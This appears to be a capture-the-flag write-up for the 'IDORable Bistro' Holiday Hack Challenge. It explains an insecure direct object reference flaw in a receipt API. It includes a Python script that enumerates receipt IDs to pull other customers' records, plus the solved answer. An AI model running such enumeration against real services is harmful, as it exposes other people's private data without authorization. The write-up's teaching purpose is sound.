IDORable Bistro

To begin this challenge, head over to Sasubune for some sushi. You know Josh Wright will be there. Josh tells us that a gnome disguised as a human came through Sasabune and attempted to order froze sushi... ew! Perhaps we can uncover the identity of this gnome by exploiting an IDOR vulnerability in the payment system of Sasabune. I think I saw a receipt somewhere...

Someone is a litter bug! I located the receipt on the ground outside of Sasabune on the east side of the building.

Click your badge, Navigate to Items, then click the receipt to view it. This receipt has a QR code on it, as many do. I used an online QR code scanner to decode it. The QR code decodes to a url: "https://its-idorable.holidayhackchallenge.com/receipt/i9j0k1l2".

Navigating to that URL shows the receipt details and payment status. I noticed there is also a note associated with the receipt. Something about a "Glimmerfin" trading card. You can probably check the Pescadex to see how rare that card is!

Anywho, when that receipt summary page is loaded, an API call is made with a receipt ID. The receipt details are returned in a json object. The receipt that we found on the ground is receipt id 103. The receipt API endpoint is below:

https://its-idorable.holidayhackchallenge.com/api/receipt?id=103

{
  "customer": "Bobby Mitchell",
  "date": "2025-12-19",
  "id": 103,
  "items": [
    {
      "name": "California Roll",
      "price": 12
    },
    {
      "name": "Ramune Soda",
      "price": 4.5
    },
    {
      "name": "Pocky Sticks",
      "price": 3
    }
  ],
  "note": "Tried to pay for his meal with a rare trading card featuring an original creature called 'Glimmerfin'. He was very insistent it would be valuable someday.",
  "paid": true,
  "table": 3,
  "total": 19.5
}

Since we are looking for a particular customer that order frozen sushi, we can likely enumerate these receipts to see if we can find one that mentions frozen sushi.

IDOR vulnerabilities refer to "Insecure Direct Object Reference" vulnerabilities. This is a class of vulnerability where attackers can manipulate user-supplied input to directly access some information without authorizing the requester first.

Since we can directly modify this receipt ID in the URL to fetch any arbitrary receipt, this would be considered an IDOR vulnerability.

To exploit this, I wrote a python script to loop through a range of receipt ID's and save the results to a file. I can then use something like grep to search through the results to see if we can find a reference to frozen sushi.

import requests
import json

def fetch_receipt(id):
    url = f"https://its-idorable.holidayhackchallenge.com/api/receipt?id={id}"
    r = requests.get(url)
    if r.status_code != 200:
        return None
    return r.json()

rcpts = []

print("Checking receipt IDs 0-200")
for id in range(0, 200):
    receipt_data = fetch_receipt(id)
    if receipt_data is not None:
        print(f"Found valid receipt ID={id}")
        rcpts.append(receipt_data)

with open("rcpts.json", "w") as f:
    json.dump(rcpts, f, indent=2)

The script attempts to fetch receipts 0-200. Out of those 201 ID's only 101-152 were valid. I will post all of the receipt data at the bottom of this page if you want to look through it.

I opened up the "rcpts.json" file that the script generated and just used ctrl+f to search for the word "frozen". I got a hit on receipt ID 139. Lets look...

{
	"customer": "Bartholomew Quibblefrost",
	"date": "2025-12-20",
	"id": 139,
	"items": [
	  {
		"name": "Frozen Roll (waitress improvised: sorbet, a hint of dry ice)",
		"price": 19.0
	  }
	],
	"note": "Insisted on increasingly bizarre rolls and demanded one be served frozen. The waitress invented a 'Frozen Roll' on the spot with sorbet and a puff of theatrical smoke. He nodded solemnly and asked if we could make these in bulk.",
	"paid": true,
	"table": 14,
	"total": 19.0
}

Asking for bizarre rolls like a frozen roll? This sounds like our guy! "Bartholomew Quibblefrost" was the customer's name. I submitted that in my badge to complete this challenge!

As promised, here is all of the receipt data from this challenge... There are some notable customers in there!

All Receipt Data